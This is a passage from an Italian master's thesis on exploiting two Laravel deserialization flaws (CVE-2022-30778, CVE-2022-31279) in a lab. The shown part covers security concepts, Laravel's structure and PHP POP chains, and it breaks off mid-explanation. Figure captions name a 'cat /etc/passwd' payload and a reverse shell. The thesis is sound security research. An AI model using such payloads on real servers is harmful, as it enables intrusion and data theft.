UNIVERSITÀ POLITECNICA DELLE MARCHE
←
→
Trascrizione del contenuto della pagina
Se il tuo browser non visualizza correttamente la pagina, ti preghiamo di leggere il contenuto della pagina quaggiù
U NIVERSITÀ P OLITECNICA DELLE M ARCHE
FACOLTÀ DI I NGEGNERIA
Dipartimento di Ingegneria dell’Informazione
Corso di Laurea Magistrale in Ingegneria Informatica e
dell’Automazione
T ESI DI L AUREA
Sfruttamento di vulnerabilità di Laravel per l’esecuzione
di codice in modalità remota
Exploting Laravel vulnerabilities for remote code
execution
Relatore Candidato
Prof. Luca Spalazzi Davide Nunin
A NNO A CCADEMICO 2021-2022
"Parte della disumanità del computer sta nel fatto che, una volta programmato e messo in
funzione, si comporta in maniera perfettamente onesta"
Isaac Asimov
Indice
1 Introduzione alla tesi 1
1.1 Motivazioni e ambito . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1.2 Obiettivi tesi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1.3 Struttura tesi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
2 Introduzione alla cybersecurity e al concetto di vulnerabilità 4
2.1 Il concetto di sicurezza . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
2.2 Le vulnerabilità e la loro classificazione . . . . . . . . . . . . . . . . . 5
2.3 Esempi di vulnerabilità famose . . . . . . . . . . . . . . . . . . . . . . 7
2.3.1 Heartbleed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
2.3.2 Eternalblue . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
2.4 Il penetration testing . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
3 Materiali e metodi usati nell’ attacco 10
3.1 Ricerca delle vulnerabilità . . . . . . . . . . . . . . . . . . . . . . . . . 10
3.2 Ricerca sulla vulnerabilità . . . . . . . . . . . . . . . . . . . . . . . . . 11
3.2.1 Il framework Laravel . . . . . . . . . . . . . . . . . . . . . . . . 11
3.2.2 Insecure deserializzation . . . . . . . . . . . . . . . . . . . . . . 15
3.2.3 Le POP chain . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
3.3 Costruzione laboratorio virtuale . . . . . . . . . . . . . . . . . . . . . 18
3.3.1 La rete . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
3.3.2 Il client . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
3.3.3 Il server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
3.3.4 La web application . . . . . . . . . . . . . . . . . . . . . . . . . 20
3.4 Costruzione payload malevolo . . . . . . . . . . . . . . . . . . . . . . 25
3.4.1 CVE-2022-30778 . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
3.4.2 CVE-2022-31279 . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
4 Risultati degli attacchi 34
4.1 CVE-2022-30778 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
4.2 CVE-2022-31279 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
4.3 Session opening . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
i
INDICE ii
4.3.1 Cos è una shell . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
4.4 Post exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
4.4.1 Enumeration . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
4.4.2 Privilege Escalation . . . . . . . . . . . . . . . . . . . . . . . . . 41
4.4.3 Pivoting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
4.5 Enumerazione . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
5 Conclusioni 44
5.1 Possibile impatto dell’ attacco . . . . . . . . . . . . . . . . . . . . . . . 44
5.2 Possibili mitigazioni . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
5.3 Sviluppi futuri . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
Bibliografia 46
Ringraziamenti 48
Elenco delle figure
2.1 Esempio di record del database CVE . . . . . . . . . . . . . . . . . . . 7
2.2 Distribuzione attacchi informatici 2018-2021 per area di competenza
Clusit [2022] . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
3.1 Immagine che raffigura il funzionamento del framework Laravel . . 14
3.2 Prime righe del file composer.json . . . . . . . . . . . . . . . . . . . . 20
3.3 Diagramma delle sequenze dell’ interazione . . . . . . . . . . . . . . 21
3.4 Screenshot della homepage (/lab1/public/home) . . . . . . . . . . . 22
3.5 Diagramma delle classi coinvolte nell’ exploit . . . . . . . . . . . . . . 26
3.6 Diagramma delle classi coinvolte nell’ exploit . . . . . . . . . . . . . . 30
4.1 Modifica del cookie "preferences" tramite DevTools di Google Chrome 35
4.2 Risultato dell’ attivazione del primo exploit con payload "cat /etc/-
passwd" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
4.3 Risultato dell’ attivazione del secondo exploit con payload "cat /etc/-
passwd" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
4.4 Impostazioni usate per la reverse shell . . . . . . . . . . . . . . . . . . 38
4.5 Modulo http.server di python3 in esecuzione . . . . . . . . . . . . . . 38
4.6 Dumb reverse shell . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
4.7 Risultato finale con shell stabilizzata . . . . . . . . . . . . . . . . . . . 40
iii
Elenco delle tabelle iv
CAPITOLO 1
Introduzione alla tesi
1.1 Motivazioni e ambito
Come espresso nel titolo la presente tesi vuole trattare due vulnerabilità del
framework PHP Laravel andando ad analizzarne il funzionamento, le cause e non
da ultimo le conseguenze che esse portano. Ci sono state varie motivazioni che mi
hanno portato alla scelta di trattare queste vulnerabilità, innanzi tutto sono entrambe
vulnerabilità web e proprio per questo la loro importanza non è trascurabile. In questi
anni è aumentato l’ utilizzo mondiale del World Wide Web in termini di numero
di siti, ricerche giornaliere e mole di dati scambiati, anche a causa della scelta di
molte aziende di utilizzare questo potente strumento di comunicazione. La crescita
del numero di aziende che si sono dotate di un sito web o una web app spesso e
volentieri con annesso client mobile, ha incrementato (ulteriormente) l’ interesse del
cybercrimine verso questo mezzo. La seconda è che si tratta di un tipo di vulnerabilità
su cui esiste poca documentazione al riguardo in confronto ad altre, proprio per
questo ho pensato che fosse necessario contribuire alla trattazione dell’ argomento
nella speranza di poter aiutare qualcuno che ne avesse bisogno. Infine, entrambe
riguardano appunto un framework che ho avuto modo di provare già in passato e di
cui avevo acquisito una certa conoscenza della sua struttura.
1.2 Obiettivi tesi
Gli obiettivi di questa tesi sono di fornire anche ai lettori meno esperti un’ in-
troduzione ai concetti fondamentali della cyberscurity e discutere e documentare
correttamente le vulnerabilità CVE-2022-31279 e CVE-2022-30778. Successivamente
andremo a dimostrare come è possibile sfruttarle per eseguire un attacco con alcuni
metodi propri del penetration testing e simulare una situazione di post exploitaion.
1
§1.2 − Obiettivi tesi 2 Infine parleremo della loro pericolosità, della loro diffusione e di possibili modi per mitigarne il danno.
§1.3 − Struttura tesi 3
1.3 Struttura tesi
• Nel Capitolo 2 spiegheremo cos’ è la cybersecurity, il motivo per cui è un settore
importantissimo delle discipline informatiche, il concetto di vulnerabilità e sue
classificazioni, e forniremo degli esempi di vulnerabilità famose
• Nel Capitolo 3 parleremo del funzionamento generale delle vulnerabilità og-
getto, del framework Laravel, della costruzione del laboratorio virtuale in cui
testare le vulnerabilità e del crafting del payload malevolo che sarà il nostro
exploit.
• Nel Capitolo 4 discuteremo i risultati degli attacchi, dimostreremo come è
possibile, partendo dall’ exploit, ottenere una sessione attiva e spiegheremo cos’
è la post exploitation
• Nel Capitolo 5 forniremo dei suggerimenti su come mitigare il problema,
parleremo del possibile impatto di questo tipo di attacchi, e degli sviluppi
futuri.CAPITOLO 2
Introduzione alla cybersecurity e al concetto di vulnerabilità
2.1 Il concetto di sicurezza
Negli ultimi anni la conoscenza e la capacità di utilizzare correttamente i sistemi
informatici sta diventando di vitale importanza per tutti noi anche nella vita di tutti
i giorni. Interazione con la pubblica amministrazione, commercio, socializzazione
e fruizione dell’ informazione sono solo alcuni dei tanti aspetti che stanno più o
meno velocemente diventando digitali. La crescita vertiginosa delle prestazioni delle
infrastrutture hardware e software, partita negli anni 80 e tutt’ ora in corso, e la crea-
zione di nuovi modelli di business legati ad esse hanno portato con loro un insieme
molto vasto di problematiche legate all’ utilizzo scorretto delle nuove tecnologie Il
settore tecnico-scientifico che si occupa della mitigazione di questi inconvenienti
è la cybersecurity, un termine nato negli anni 80 nel contesto della fantascienza,
ma che oggi possiede un proprio significato preciso e di importanza rilevante. Qui
forniamo le definizioni date dalla ISO (Internal Organizzation for Standardization)
in collaborazione con la IEC (International Electrotechnical Commission) dei termini
cybersecurity: “That practice that allows an entity (organization, citizen, nation, ...) to
protect its physical assets and confidentiality, integrity and availability of its informa-
tion from threats that come from cyberspace” e cyberspazio: “That complex resulting
from the interaction of people, software and services on the Internet by means of
technologies, devices and networks connected to it” ISO-IEC [2014]. Accertato quindi
che la cybersecurity è una branca del sapere umano che si occupa di ottenere la
sicurezza, è lecito chiedersi cosa si intende per sicurezza soprattutto in un contesto
così moderno come quello del cyberspazio. Come specificato nella definizione stessa
sono 3 i “pilastri” su cui poggia il concetto di cybersicurezza, ossia Confidenzialità,
Integrità e Disponibilità. La confidenzialità riguarda in particolare tre tipologie di
soggetti: il dato, la persona e l’ organizzazione. In tutti e 3 i casi si può definire questo
termine come la condizione in cui l’ informazione è fruibile solo da chi è autorizzato.
L’ integrità è invece un concetto che si può applicare non solo ai dati ma anche alle
4§2.2 − Le vulnerabilità e la loro classificazione 5
infrastrutture, siano esse di tipo hardware o software, in entrambi i casi la proprietà di
integrità garantisce che i sistemi siano in uno stato funzionante e i dati non vengano
compromessi. La disponibilità è invece la chiave per comprendere le altre 2 proprietà.
Con disponibilità ovviamente si intende la facoltà di un sistema di essere pronto all’
uso, ma sotto questa definizione banale si poggia un concetto molto importante della
cybersicurezza. Una famosa citazione del professor Eugene Howard Spafford dice:
“l’ unico sistema veramente sicuro è quello spento immerso in un blocco di cemento
e sigillato in una stanza rivestita di piombo con guardie armate, e anche in questo
caso ho i miei dubbi.”Dewdney [1989]. Questa espressione sottolinea ironicamente 2
concetti:
• La sicurezza è tale fino a quando ci si accorge che non lo è.
Non si può sapere con certezza che un sistema è sicuro al 100%, al contrario si
può dedurre dall’ esperienza quando un sistema NON è sicuro
• Per garantire perfetta confidenzialità e integrità si dovrebbe rinunciare alla
disponibilità.
Appare chiaro che un sistema spento a cui non si può avere un accesso fisico
ha una “superficie di attacco” molto minore di uno funzionante e connesso, ma in
questo caso il sistema diventa sostanzialmente inutile.
D’ ora in poi quindi ogni volta che parleremo di sicurezza sottointenderemo che
un sistema deve possedere in certa misura tutte e 3 le proprietà e che generalmente
una riduzione delle funzionalità di un sistema non si può considerare come una
misura di sicurezza in senso stretto, se non in casi particolari.
2.2 Le vulnerabilità e la loro classificazione
Appurato che non esiste un metodo per verificare la sicurezza di un sistema ma
solo la sua eventuale insicurezza possiamo quindi domandarci quando un sistema
è insicuro. In questo senso quindi identifichiamo delle situazioni di varia natura
che chiamiamo vulnerabilità, esse sono la ragione abilitante di un cyberattacco. Così
come le discipline della crittografia e della crittanalisi procedono di pari passo, e
l’una prende spunto dal progresso dell’altra, allo stesso modo nella cybersecurity
è importante uno studio organizzato delle vulnerabilità e delle loro tipologie per
realizzare le relative contromisure. Possiamo cominciare quindi dall’ introduzione di
una vera e propria tassonomia delle vulnerabilità. La classificazione più completa si
basa su 3 caratteristiche:
• La natura della vulnerabilità
• Il suo dominio
• La sua fonte
Per “natura” si intende sostanzialmente la volontarietà o meno dell’ introduzione
della vulnerabilità. Ad esempio, gli errori di progettazione e i comportamenti inaspet-
tati (bug) sono involontari, mentre una backdoor (termine utilizzato per descrivere§2.2 − Le vulnerabilità e la loro classificazione 6
una vulnerabilità introdotta volontariamente in un sistema) no. La “fonte” dà invece
informazioni sull’ evitabilità o meno della vulnerabilità, in termini più semplici tutte
le vulnerabilità possono essere di tipo logico o fisico. Quelle logiche sono il risultato
di un errore logico introdotto in fase di progettazione del sistema e come tale può
essere (almeno teoricamente) evitabile. Una vulnerabilità fisica invece è una diretta
conseguenza dell’ utilizzo di una tecnologia hardware/software, o in altri termini è
un aspetto inevitabile dell’ utilizzo di una certa tecnologia come potrebbe essere l’
utilizzo di un modulo hardware difettoso o di un meccanismo di cifratura debole.
Dal momento in cui si effettua la scelta di utilizzo di una determinata tecnologia
in fase di progettazione di un sistema, la vulnerabilità non può essere più evitata
ma solo mitigata, in quanto è una caratteristica intrinseca della tecnologia stessa
(molto spesso infatti queste vulnerabilità sono legate al tipo di tecnica costruttiva dell’
hardware). Il dominio invece rappresenta la classificazione più densa di informazioni.
Comprende sia il tipo di entità soggetta alla vulnerabilità, che la componente vulnera-
bile del sistema, ancora una volta possiamo chiarire meglio. Bisogna ricordare che il
cyberspazio è formato non solo da macchine e protocolli, ma anche da persone e orga-
nizzazioni. Appunto per questo un vettore d’ attacco può essere non necessariamente
un software o un microchip, ma anche una persona o un’ organizzazione. Il dominio
di una vulnerabilità quindi puo essere di tipo tecnologico, umano o organizzativo.
Una vulnerabilità appartenente al dominio tecnologico riguarda unicamente il lato
tecnico ed è solitamente diffusa, in quanto colpisce tutte le istanze vulnerabili del
software o hardware coinvolto. Le vulnerabilità che sfruttano l’ elemento umano
sono invece profondamente diverse. Una persona può essere analizzata nel com-
portamento e indotta a rivelare informazioni o a compiere azioni a vantaggio del
malintenzionato. Cosa ancora diversa è un dominio organizzativo, in tal caso la
vulnerabilità interessa l’ infrastruttura di un organizzazione o azienda solitamente
tramite un mix di negligenze da parte dei componenti della stessa e difetti strutturali
dell’ apparato comunicativo/informatico. Allo scopo di fornire una corretta tasso-
nomia delle vulnerabilità e di organizzare la documentazione su ciascuna di esse è
stato creato dalla MITRE il database “Common Vulnerabilities and Exposures” (CVE
in breve), un dizionario online di pubblico dominio che contiene un gran numero di
vulnerabilità dei sistemi hardware/software più diffusi. Ogni vulnerabilità riceve
un codice identificativo che inizia con la sigla CVE-YYYY-NNNN dove NNNN è un
numero di cifre arbitrario progressivo. Inoltre a ogni vulnerabilità viene associato:
• un tipo eventualmente multiplo
• una descrizione
• un punteggio da 0 a 10 che ne determina la gravità
• una data di publicazione
• una data di ultimo aggiornamento
• informazioni di vario genere sul tipo di autenticazione richiesta, perdita della
confidenzialità e dell’ integrità e facilità di sfruttamento§2.3 − Esempi di vulnerabilità famose 7
Il “tipo” è una caratteristica che può rappresentare sia il dominio della vulnerabi-
lità sia l’ effetto che quest’ ultima può produrre, ad esempio:
Figura 2.1: Esempio di record del database CVE
Questa è una vulnerabilità dell’ anno 2022 con doppio tipo, solitamente quando
sono specificati due tipi uno indica il dominio e l’ altro l’ effetto, in questo caso quindi
sappiamo che CVE-2022-40149 è una vulnerabilità di overflow che può causare denial
of service ed è stata pubblicata il 16 settembre 2022. Questa classificazione è molto
meno rigorosa di quella descritta in precedenza, ma è più immediata nel fornire i
dati essenziali. Nel caso di criticità pericolose appena scoperte è molto importante
che chi se ne debba occupare intervenga rapidamente, per poterlo fare è necessario
essere in possesso di informazioni più operative come ad esempio a quanto tempo
fa risale la scoperta, o le possibili conseguenze della vulnerabilità (non è di nessuna
utilità in questo caso sapere ad esempio la sua “natura”). È bene infine spiegare un
altro concetto proprio della cybersecurity, ossia cosa è un exploit, la definizione data
da wikipedia è la seguente: "una tipologia di script, virus, worm, porzione di dati o
binario che sfrutta un bug o una vulnerabilità per creare comportamenti non previsti
in software, hardware, o in sistemi elettronici (solitamente computerizzati)"Wik [2019]
tuttavia si può generalizzare il concetto per includere anche tipologie di exploit meno
canoniche: "Un exploit è il mezzo o il metodo con cui si sfrutta una vulnerabilità
a scopo malevolo”. In questa ampia definizione quindi un exploit può essere un
software, una componente hardware o ancora una tecnica di ingegneria sociale. Un
exploit è quindi molto legato alla vulnerabilità che lo rende possibile, di conseguenza
nel parlato i due termini vengono utilizzati in maniera intercambiabile poiché spesso
si può dedurre dal contesto se ci si riferisce a l’uno pittosto che all’ altro.
2.3 Esempi di vulnerabilità famose
Per meglio capire la portata degli effetti delle vulnerabilità riportiamo qua due
esempi
2.3.1 Heartbleed
Heartbleed è il nome di una vulnerabilità presente nella libreria di supporto
crittografico OpenSSL. Scoperta nell’ aprile del 2014 viene classificata come buffer
over read ossia permette di leggere dati da un buffer in memoria oltre i limiti dello
stesso. Questa tecnica poteva essere sfrutttata anche per estrarre le chiavi crittogra-
fiche utilizzate da openssl caricate in memoria, compromettendo quindi le future
connessioni e permettendo addirittura in alcuni casi di rubare i certificati usati per
l’autenticazione delle connessioni con tutti i danni che da ciò derivano. Oltre agli
effetti drammatici della vulnerabilità, la gravità di heartbleed è dovuta soprattutto
all’ enorme diffusione di OpenSSL tanto che alcuni sono arrivati a definire heart-
bleed come "la peggiore vulnerabilità della storia in termini di potenziale impatto da
quando il traffico commerciale ha cominciato a scorrere su internet"Steinberg [2014].§2.4 − Il penetration testing 8
2.3.2 Eternalblue
Nel maggio del 2017 fa la sua comparsa in rete il malware WannaCry ritenuto
ancora oggi il più grande attacco ransomware di sempre. Come tutti i ransomware,
WannaCry è un software in grado di criptare i file personali contenuti nel pc infetto,
dato che i file vengono criptati con cifratura allo stato dell’ arte il loro recupero
sarebbe stato possibile solo pagando ai criminali una certa quota in criptovalute.
L’ enorme diffusione di WannaCry è dovuta al fatto che non si è diffuso per email
come molti altri ransomware ma sfruttando un exploit del protocollo SMB (Server
Message Block) chiamato Eternalblue. Eternalblue sfrutta una vulnerabilità presente
nelle versioni di Windows inferiori alla 10 dovuta ad una errata implementazione del
client SMB su di esse installato. Grazie a questa vulnerabilità è possibile ottenere una
situazione di Remote Code Execution, ossia di esecuzione di codice arbitrario su una
macchina senza doverne avere accesso fisico. è stato proprio questo exploit quindi il
vero fattore del “successo” di WannaCry, in quanto sfrutta un protocollo largamente
usato (specie in reti di aziende o di organizzazioni) per replicarsi su tutti i computer
vulnerabili della rete SENZA dovere dover trarre in inganno un utente per esempio
nel dover aprire un allegato malevolo. La gravità della vulnerabilità in questione
ha portato Microsoft alla inusuale scelta di rilasciare delle patch di sicurezza anche
per versioni di Windows datate che avevano da tempo teminato il supporto come lo
stesso Windows XP.
2.4 Il penetration testing
Abbiamo già parlato di come si può verificare la sicurezza di un sistema solo
empiricamente, proprio per questo una delle figure più diffuse nella cybersecurity è
quella del penetration tester (anche chiamato hacker etico). È una figura professionale
che utilizza tecniche usate dagli hacker per mettere alla prova la sicurezza dei sistemi
informatici proprio per verificarne la sicurezza e dare l’ opportunità a chi si occupa
di mantenere il sistema di effettuare migliorie, questo all’ atto pratico consiste nella
ricerca di vulnerabilità. Così come il testing seppur non infallibile è diventato una
fase irrinunciabile nel processo di produzione del software, il penetration testing sta
diventando tale nel mantenimento di grandi sistemi informatici. Questo trend trova
corrispondenza con i dati riguardanti gli attacchi informatici negli ultimi anni. Qui
sotto è riportata una tabella proveniente dal rapporto Clusit 2022 che ci fornisce una
stima delle tecniche di attacco più utilizzate dal 2018 al 2021
Emergono da questa tabella delle considerazioni preoccupanti; La prima è sicura-
mente che il numero totale di attacchi annuo è in salita da oramai almeno quattro
anni, la seconda è che le tecniche in forte rialzo sono proprio quelle basate su vul-
nerabilità e web, (fermo restando che quelle più utilizzate restano l’ uso di malware
e quelle di classificazione sconosciuta). Esattamente per questo la richiesta di pene-
tration tester sta crescendo e continuerà probabilmente a crescere nei prossimi anni
Ovviamente c’ è una grande differenza tra un hacker etico e un cracker, prima di
tutto l’ hacker etico opera in un contesto legale e con il consenso dell’ organizzazione,
inoltre il penetration tester ha dei limiti ben precisi sulle tecniche che può e non può
utilizzare. In particolare un hacker etico non può premettersi di compromettere il
funzionamento del sistema tramite il suo operato. Le tecniche di penetration testing§2.4 − Il penetration testing 9 Figura 2.2: Distribuzione attacchi informatici 2018-2021 per area di competenza Clusit [2022] sono metodi principalmente derivati dal mondo dell’ hacking, e presuppongono una grande conoscenza di vari settori del mondo dell’ informatica. L’ attaccante deve avere competenze di programmazione, conoscenza delle reti di calcolatori, dei sistemi operativi, del middleware usato dal sistema, e saper utilizzare un sacco di strumenti spesso provenienti dal mondo dell’ open source che lo aiutano nelle varie fasi del suo lavoro.
CAPITOLO 3
Materiali e metodi usati nell’ attacco
3.1 Ricerca delle vulnerabilità
Come abbiamo capito esistono svariati tipi di vulnerabilità riguardanti ogni aspet-
to della "computer science", dai database, ai sistemi operativi, fino al web. Lo scopo
di questa tesi è appunto quello di trattare una vulnerabilità recente al tempo della
stesura e di sviscerarla quanto più possibile, partendo dal funzionamento fino a
fornire considerazioni sulla mitigazione. Per far questo è stato necessario trovare una
vulnerabilità riguardante un dominio soggetto a sviluppi recenti, tuttavia solo nell’
anno 2022 sono state rese note circa 19193 vulnerabilità secondo il database CVE.
Purtroppo dato il numero così elevato non è stato possibile tenere in considerazione
ciascuna di esse nè tantomeno effettuare una scrematura che le comprendesse tutte.
Per trovare una vulnerabilità da trattare è stato necessario effettuare un’ operazione
di filtraggio secondo data, tipo di vulnerabilità e dominio, oltre che gravità. Si è anche
tenuto conto del tipo di preparazione necessaria ad approfondire una vulnerabilità
del genere, non tutti i ricercatori in quest’ ambito infatti possiedono le competenze
più adatte per trattare e analizzare tutte le vulnerabilità, esistono infatti numerose
specializzazioni della cybersecurity quasi speculari rispetto alle aree tematiche dell’
informatica applicata. Sarebbe quantomento improbabile che uno sviluppatore di
DBMS scopra una falla nel kernel di linux, sia per il numero di conoscenze e com-
petenze necessarie per raggiungere un risultato del genere, sia anche per la grande
concorrenza opposta da ricercatori e community che lavorano esplicitamente in quel
settore. Il dominio scelto è stato quindi la web security, questo sia perchè, come già
espresso nell’ introduzione, il web è una risorsa importantissima e utilizzatissima,
sia perchè è soggetta ad un evoluzione estremamente dinamica, basti pensare in soli
20 anni di esistenza al numero di protocolli introdotti(ajax,websocket,RTSP,HTTPS) e
ancor più a quelli caduti in disuso o dichiarati insicuri(GOPHER,FTP,HTTP). Inoltre
nella web security stessa esistono tante branche, la suddivisione più importante
rimane però tra sicurezza lato client e sicurezza lato server. Se la client web security
10§3.2 − Ricerca sulla vulnerabilità 11
si preoccupa di porre rimedio a tecniche offensive indirizzate contro i browser e
che in generale colpiscono la popolazione, la server side security mira a proteggere
i sistemi delle organizzazioni che gestiscono i siti web anche nell’ interesse degli
utenti, proprio perchè questi fornendo dati alle volte anche sensibili a queste società
diventano stakeholder della sicurezza dell’ organizzazione, ragion per cui si è optato
per le vulnerabilità lato server. Il fattore determinante che ha portato alla scelta di
CVE-2022-31279 e CVE-2022-30778 è stato però la loro connessione con il framework
Laravel, questo perchè è stato oggetto del corso di studi dell’ autore della tesi ed è il
framework open source PHP con il seguito maggiore su github, dato di fondamentale
importanza poichè la maggior parte del software libero anche ad uso professionale
oramai viene sviluppato su questa piattaforma o simili. Data la pressochè perfetta
corrispondenza di CVE-2022-31279 e CVE-2022-30778 con questi criteri, esse sono
risultate la scelta dell’ oggetto della tesi e verranno trattate nel capitolo corrente e
successivi.
3.2 Ricerca sulla vulnerabilità
Iniziamo ora a conoscere più da vicino le nostre vulnerabilità in questione, CVE-
2022-31279 e CVE-2022-30778 sono 2 vulnerabilità scoperte nel maggio 2022 dal
pentester utente di github "Inhann".
Sono 2 vulnerabilità web che colpiscono Laravel, uno dei framework PHP ad
uso professionale più utilizzati al giorno d’ oggi. Come vedremo in seguito sono
vulnerabilità estremamente simili tra di loro, colpiscono infatti lo stesso framework e
appartengolo tutte e 2 alla famiglia di debolezze chiamata "insecure deserializzation"
e in particolare sono entrambe chiamate "POP chain" pur utilizzando dei meccanismi
differenti.
3.2.1 Il framework Laravel
Appare chiaro che serve un pò di contesto per analizzare correttamente i 2 cve,
iniziamo dal framework.
Laravel è un framework PHP per lo sviluppo di web app creato nel 2011 da
Taylor Otwell basato su Symphony. È distribuito su licenza MIT ed è un progetto
open source mantenuto su Github. È un framework estremamente completo e che è
possibile sfruttare al massimo solo accumulando tanta esperienza proprio a causa
delle enormi possibilità che offre. Tra le caratteristiche principali di Laravel troviamo:
• Una shell incorporata scritta in PHP chiamata Artisan con cui è possibile
cambiare molte configurazioni del progetto
• Driver per la connessione a vari tipi di DB relazionali e non quali MySQL,
PostgreSQL, Redis e altri.
• Blade, un template engine molto potente che permette di modularizzare i layout
del sito e facilitare lo svluppo dell’ interfaccia grafica estendendo la sintassi del
PHP+HTML§3.2 − Ricerca sulla vulnerabilità 12
• Orientamento naturale all’ architettura MVE (Model View Controller) con
comandi artisan dedicati.
• Piena facoltà di integrazione con altri package PHP disponibili con il package
manager Composer.
È molto difficile fornire un compendio di tutte le caratteristiche di Laravel poichè è
un framework adatto a tantissimi tipi di web app, con una codebase molto estesa,
proprio per questo nel corso della trattazione delle vulnerabilità ci limiteremo a
spiegare meglio il funzionamento delle componenti coinvolte. Per adesso ci basta
chiarire cosa si intende per progetto Laravel e la struttura di un progetto.
laravel/laravel
L’ installazione di Laravel coincide con l’ atto della creazione di un template di
progetto. Per installare Laravel quindi è necessario installare dapprima il package
manager PHP composer, (in ambiente linux ciò è possibile tramite il comando
sudo apt install composer
oppure scaricandolo dal sito ufficiale. Successivamente tramite il comando
php composer create-project laravel/laravel
è possibile installare uno scheletro di un progetto Laravel in una directory a nostra
scelta. Il package laravel/laravel non contiene solamente la codebase del framework
Laravel (che si trova nel package laravel/framework) ma anche una serie di package
ausiliari che ben si integrano con il workflow di Laravel come la stessa shell Artisan.
La struttura di un progetto Laravel è la seguente.§3.2 − Ricerca sulla vulnerabilità 13
laraproject
app
artisan
bootstrap
composer.json
composer.lock
config
database
public
resources
routes
storage
tests
vendor§3.2 − Ricerca sulla vulnerabilità 14
dove app, bootstrap etc. sono cartelle contenenti elementi funzionali del fra-
mework, qui sotto sono riportati quelli che dovremo conoscere:
• app contine le classi PHP necessarie alla logica della app, quindi tutti i model e
i controller
• database contiene delle classi che regolano la migrazione del DB e permettono
di popolare facilmente il DB
• routes contiene i file dove vengono specificate le rotte dichiarate per la web app
e per un eventuale API
• resources contiene i file che contengono la logica frontend (viste, css e javascript)
• infine vendor è la cartella in cui composer installa tutti i package specificati nei
file composer.json e composer.lock
il workflow di Laravel
Laravel standardizza il flusso del codice all’ interno dell’ applicazione in questo
modo:
Figura 3.1: Immagine che raffigura il funzionamento del framework Laravel
In breve all’ arrivo di una HTTP request il webserver esegue l’ index.php nella
cartella public che attiva a catena una serie di componenti che si occupano di im-
portare dipendenze e di approntare l’ esecuzione della logica dell’ app che sta nella
cartella /app, questa catena di chiamate arriva al componente "Router" il quale a
seconda della rotta che è stata richiesta passa l’ esecuzione a un Controller il quale fa
le sue elaborazioni, talvolta accedendo al DB tramite l’ interfaccia dei Model, e genera
una vista che inoltra al webserver per l’ invio al client. In questo modo si solleva
il programmatore da varie preoccupazioni di natura tecnica come la gestione delle
dipendenze e vengono messe a disposizione delle funzionalità di autenticazione,
autorizzazione, caching, testing che agevolano il lavoro dello stesso.§3.2 − Ricerca sulla vulnerabilità 15
3.2.2 Insecure deserializzation
Una vulnerabilità di insecure deserializzation sfrutta il meccanismo della se-
rializzazione degli oggetti integrato in molti linguaggi di programmazione. Per
"serializzazione di un oggetto" si intende in generale la procedura di conversione
di un oggetto propriamente detto, o di una struttura dati in una rappresentazione
binaria o testuale che contiene tutte le informazioni sullo stato della stessa per poi
ripristinarle in memoria tramite la procedura opposta chiamata "deserializzazione".
Questa procedura viene effettuata di solito per realizzare il salvataggio delle infor-
mazioni su memoria di massa alla chiusura di un programma o per inviarli ad un
altro computer. L’ insecure deserializzation é una condizione che si verifica quando
un programma deserializza un oggetto che può essere modificato da altri, relizzando
in tal modo un comportamento inaspettato. L’ esempio più banale di ciò avviene nei
videogiochi quando si manipolano i file di salvataggio manualmente per acquisire
progresso o per continuare una partita su un altro dispositivo, nella maggior parte
dei casi il gioco si preoccupa solamente di ripristinare lo stato salvato all’ interno di
un file in una posizione nota e con un certo nome. La sostituzione o la modifica del
file realizzano un comportamento che dal punto di vista del software è totalmente
trasparente, ma dal punto di vista degli sviluppatori (sebbene innocuo) è spesso non
voluto.
3.2.3 Le POP chain
Una POP chain è una vulnerabilità di insecure deserializzation tipica del PHP
che sfrutta particolari accorgimenti per bypassare le difese più comuni contro la ID.
Prima di spiegare quali sono questi accorgimenti dobbiamo prima chiarire come
avviene il processo di serializzazione/deserializzazione nel linguaggio che ci inte-
ressa, ossia il PHP. Esistono varie funzioni che intervengono in questo processo, di
cui le 2 più importanti sono la serialize() e la unserialize(). Come è facile capire
dal nome, la serialize() restituisce la forma serializzata di un oggetto, mentre la
unserialize crea un oggetto a partire da una stringa contenente l’ oggetto serializ-
zato. Al momento dell’ esecuzione della unserialize() viene eseguita la funzione
__wakeup() propria della classe di quell’ oggetto. __wakeup() è una funzione che
viene eseguita automaticamente al termine della deserializzazione al fine di ripri-
stinare il corretto funzionamento dell’ oggetto dopo la seriallizzazione, (uno degli
usi standard di __wakeup() è ripristinare la connessione a un database). A differenza
delle altre due, __wakeup() è una funzione overridable ossia è stata fatta per defi-
nirne un comportamento ad hoc a seconda della classe, questo torna molto utile
agli sviluppatori di un framework come Laravel perchè permette di definire una
procedura di deserializzazione specifica per ogni classe che ne ha bisogno. In una
POP chain l’ attaccante non fa altro che sfruttare i magic methods di una classe base
tramite la manipolazione delle proprietà dell’ oggetto serializzato e di eventuali
oggetti annidati, 1 per ottenere esecuzione di codice a piacimento, proprio per questo
è l’ acronimo di Property Oriented Programming. Affinchè la POP chain sussista è
1i magic methods sono i metodi riservati dal linguaggio PHP per essere overridati, __wakeup()
